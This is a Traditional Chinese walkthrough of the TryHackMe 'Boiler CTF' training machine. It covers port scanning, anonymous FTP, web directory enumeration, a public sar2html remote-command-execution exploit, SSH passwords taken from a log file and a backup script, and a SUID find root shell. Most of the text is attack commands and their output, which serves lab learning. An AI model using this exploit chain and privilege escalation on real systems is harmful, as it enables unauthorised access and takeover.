5 min read

TryHackMe Boiler CTF writeup (zh-TW)

TryHackMe Boiler CTF writeup (zh-TW)

房間資訊

Task 1: Questions #1

初始偵察

Nmap 全端口掃描

nmap -Pn 10.201.20.25 -T4 -p-

掃描結果:

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
10000/tcp open  snet-sensor-mgmt
55007/tcp open  unknown

詳細服務掃描

nmap -sV -sC -p 21,80,10000,55007 10.201.20.25 -T4

Q1: File extension after anon login

FTP Anonymous 登入:

ftp 10.201.20.25
Name: Anonymous
Password: (直接按 Enter)

列出隱藏檔案:

ftp> ls -a
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 ..
-rw-r--r--    1 ftp      ftp            74 Aug 21  2019 .info.txt

下載並查看檔案:

ftp> get .info.txt
ftp> exit

cat .info.txt
# Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!

這是 ROT13 編碼,解碼後:

Just wanted to see if you find it. Lol. Remember: Enumeration is the key!

答案: txt

Q2: What is on the highest port?

從 nmap 掃描結果可見,最高端口是 55007

答案: 55007

Q3: What's running on port 10000?

nmap -sV -p 10000 10.201.20.25

或訪問瀏覽器:

http://10.201.20.25:10000

發現運行的是 Webmin 服務。

答案: webmin

Q4: Can you exploit the service running on that port? (yay/nay answer)

嘗試利用 Webmin 服務,但無法成功利用,真正的突破口在於其他服務。

答案: nay

Q5: What's CMS can you access?

Web 目錄枚舉

首先訪問 HTTP 服務(80 端口):

http://10.201.20.25

發現 Joomla CMS,進一步使用 gobuster 進行目錄枚舉:

gobuster dir -u http://10.201.20.25/joomla/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

枚舉結果(部分關鍵目錄):

/_archive             (Status: 301) [--> http://10.201.20.25/joomla/_archive/]
/_database            (Status: 301) [--> http://10.201.20.25/joomla/_database/]
/_files               (Status: 301) [--> http://10.201.20.25/joomla/_files/]
/_test                (Status: 301) [--> http://10.201.20.25/joomla/_test/]    ← 重要!
/administrator        (Status: 301) [--> http://10.201.20.25/joomla/administrator/]
/components           (Status: 301) [--> http://10.201.20.25/joomla/components/]
/images               (Status: 301) [--> http://10.201.20.25/joomla/images/]
...

發現 sar2html

訪問 _test 目錄:

http://10.201.20.25/joomla/_test/

發現一個名為 sar2html 的工具:

http://10.201.20.25/joomla/_test/index.php

關鍵點

  • 這不是標準的 Joomla 安裝
  • _test 目錄包含開發/測試用的工具
  • sar2html 是一個第三方工具,可能存在漏洞

答案: sar2html

重要提示:記得枚舉!使用 gobuster、dirb 或 ffuf 等工具進行徹底的目錄掃描是發現隱藏功能和潛在攻擊面的關鍵。

Q6: Keep enumerating, you'll know when you find it.

這題不需要答案,提示你繼續枚舉。

答案: No answer needed

Q7: The interesting file name in the folder?

尋找 sar2html 漏洞

searchsploit sar2html

結果:

sar2html 3.2.1 - 'plot' Remote Code Execution    | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution        | php/webapps/47204.txt

下載並使用 Exploit

searchsploit -m 49344
python 49344.py

執行命令:

Enter The url => http://10.201.20.25/joomla/_test/index.php
Command => ls

輸出:

HPUX
Linux
SunOS
index.php
log.txt      ← 發現有趣的檔案!
sar2html
sarFILE

查看 log.txt:

Command => cat log.txt

內容:

Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superduperp@$$
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.

發現憑據:

用戶名: basterd
密碼: superduperp@$$

答案: log.txt

Task 2: Questions #2

使用 basterd 憑據登入

ssh [email protected]
Password: superduperp@$$

登入成功後,在系統中繼續枚舉

Q1: Where was the other users pass stored (no extension, just the name)?

在 basterd 的主目錄或其他位置,發現一個備份腳本,包含另一個用戶的密碼。

腳本內容片段:

REMOTE=1.2.3.4
SOURCE=/home/stoner
TARGET=/usr/local/backup
LOG=/home/stoner/bck.log
USER=stoner
#superduperp@$$no1knows     ← 密碼在註解中!

發現第二組憑據:

用戶名: stoner
密碼: superduperp@$$no1knows

答案: backup

Q2: user.txt

使用 stoner 憑據登入:

ssh [email protected]
Password: superduperp@$$no1knows

尋找 flag:

stoner@Vulnerable:~$ ls -a
.  ..  .cache  .nano  .secret

stoner@Vulnerable:~$ cat .secret
Redacted

答案: Redacted

Q3: What did you exploit to get the privileged user?

權限提升枚舉

檢查 sudo 權限:

sudo -l

輸出:

User stoner may run the following commands on Vulnerable:
    (root) NOPASSWD: /NotThisTime/MessinWithYa

這是個假的 sudo 權限,無法利用。

尋找 SUID 二進制文件:

find / -perm -4000 -type f 2>/dev/null

重要發現:

/usr/bin/find      ← SUID 位元的 find!

利用 SUID find 提權

/usr/bin/find . -exec /bin/sh -p \; -quit

提權成功:

# whoami
root

# id
uid=1000(stoner) gid=1000(stoner) euid=0(root) groups=1000(stoner),...

答案: find

Q4: root.txt

# cat /root/root.txt
Redacted

答案: Redacted

技術重點

1. 枚舉是關鍵

  • FTP Anonymous 登入發現隱藏檔案 (.info.txt)
  • Web 目錄枚舉發現 joomla CMS
  • 檔案系統枚舉發現備份腳本和 SUID 二進制文件

2. 漏洞利用

  • sar2html 3.2.1 RCE (CVE-2019-15949)
    • 透過 plot 參數實現遠程命令執行
    • 利用此漏洞讀取敏感檔案 log.txt

3. 權限提升

  • SUID find 提權
    • find 二進制文件具有 SUID 位元
    • 使用 -exec 參數配合 /bin/sh -p 獲得 root shell

經驗分享

這個 CTF 完美詮釋了「Enumeration is the key」這句話,每個階段都需要仔細枚舉:

  1. 端口和服務枚舉發現攻擊面
  2. Web 枚舉找到脆弱的 CMS
  3. 檔案系統枚舉找到憑據和提權路徑

透過 SUID find 的巧妙利用獲得 root 權限,證明了基礎漏洞在實戰中的威力,

最後補充一下,這一個機器會遇到的兔子洞和提示:

  • robots.txt: 那一串經過解碼之後會得到kidding的MD5值(先binary coded decimal 再 base64)
  • /joomla/_database拿到Lwuv oguukpi ctqwpf. ROT得到
↑↓↑↓
[A-Z]+2Just messing around